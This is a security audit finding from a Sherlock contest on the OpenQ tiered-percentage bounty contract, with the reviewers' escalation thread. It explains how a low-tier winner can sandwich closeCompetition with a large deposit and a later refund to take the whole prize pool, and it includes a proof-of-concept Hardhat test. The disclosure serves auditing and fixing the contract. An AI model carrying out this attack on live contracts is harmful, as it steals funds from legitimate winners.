jkoppel - Can steal funds from other winners in a tiered percentage bounty by sandwhiching closeCompetition with deposit/refund

[github-actions]

jkoppel

high

Can steal funds from other winners in a tiered percentage bounty by sandwhiching closeCompetition with deposit/refund

Summary

A winner of a tier in a tiered percentage bounty can inflate their winnings by depositing a large sum right before contest close, and withdrawing it right after.

Vulnerability Detail

Suppose there is a tiered percentage bounty where first place wins 90% and second place wins 10%. Suppose the bounty has 1000 tokens in it.

The second-place winner can front-run the call to closeCompetition by depositing 9000 tokens. The contract now has 10000 tokens of funding, and the second prize winner gets 10%, or 1000. The second prize winner then immediately claims their 1000 and refunds their deposit. On net, the second-place winner gets all 1000 tokens, and the first-place winner gets nothing.

If the second-place winner already has their KYC and invoice and whatnot set up so that they can call permissionedClaimTieredBounty, and the first-place winner does not, this can be done relatively safely.

Impact

This permits winners of a single tier in a tiered-percentage bounty contest to claim the entirety of the contest instead of their fair share.

Code Snippet

Claims are awarded based on fundingTotals computed during a call to closeCompetition.

From https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/Bounty/Implementations/TieredPercentageBountyV1.sol#L134

        for (uint256 i = 0; i < getTokenAddresses().length; i++) {
            address _tokenAddress = getTokenAddresses()[i];
            fundingTotals[_tokenAddress] = getTokenBalance(_tokenAddress);
        }

Here's how it gets paid out. From https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/Bounty/Implementations/TieredPercentageBountyV1.sol#LL113C67-L118C71

        uint256 claimedBalance = (payoutSchedule[_tier] *
            fundingTotals[_tokenAddress]) / 100;

        _transferToken(_tokenAddress, claimedBalance, _payoutAddress);

Nothing prevents refunds from occurring after the end of a contest.

Here is a modified test exhibiting this problem:

	describe('claimTiered', () => {
		it('should transfer volume of tokenAddress balance based on payoutSchedule', async () => {
			// ARRANGE
			const volume = 1000;

			const [, firstPlace, secondPlace] = await ethers.getSigners();

			await tieredContract.connect(depositManager).receiveFunds(owner.address, mockLink.address, volume, Constants.thirtyDays);

			const deposits = await tieredContract.getDeposits();
			const linkDepositId = deposits[0];

			await tieredContract.connect(depositManager).receiveFunds(owner.address, mockLink.address, 9000, 1);
			const deposits2 = await tieredContract.getDeposits();
			const linkDepositId2 = deposits2[1];



			await tieredContract.connect(claimManager).closeCompetition();

			// ASSUME
			const bountyMockTokenBalance = (await mockLink.balanceOf(tieredContract.address)).toString();
			expect(bountyMockTokenBalance).to.equal('10000');

			const claimerMockTokenBalance = (await mockLink.balanceOf(firstPlace.address)).toString();
			expect(claimerMockTokenBalance).to.equal('0');

			// ACT
			await tieredContract.connect(claimManager).claimTiered(firstPlace.address, 2, mockLink.address);


			await tieredContract.connect(depositManager).refundDeposit(linkDepositId2, owner.address, 9000);

			const bountyMockTokenBalance2 = (await mockLink.balanceOf(tieredContract.address)).toString();
			expect(bountyMockTokenBalance2).to.equal('0');

Tool used

Manual Review

Recommendation

Unclear. One idea is to block refunds for a set period after the contest closes.

Duplicate of #275

[jkoppel]

Escalate for 61 USDC

This is a duplicate of #275. It requires no collusion from the issuer. It allows the winner of any tier (e.g.: 5th place) to steal the entire pot. It should be marked high for the same reason #275 was.

[sherlock-admin]

Escalate for 61 USDC

This is a duplicate of #275. It requires no collusion from the issuer. It allows the winner of any tier (e.g.: 5th place) to steal the entire pot. It should be marked high for the same reason #275 was.

You've created a valid escalation for 61 USDC!

To remove the escalation from consideration: Delete your comment.
To change the amount you've staked on this escalation: Edit your comment (do not create a new comment).

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[hrishibhat]

Escalation accepted

Valid duplicate of #275

[sherlock-admin]

Escalation accepted

Valid duplicate of #275

This issue's escalations have been accepted!

Contestants' payouts and scores will be updated according to the changes made on this issue.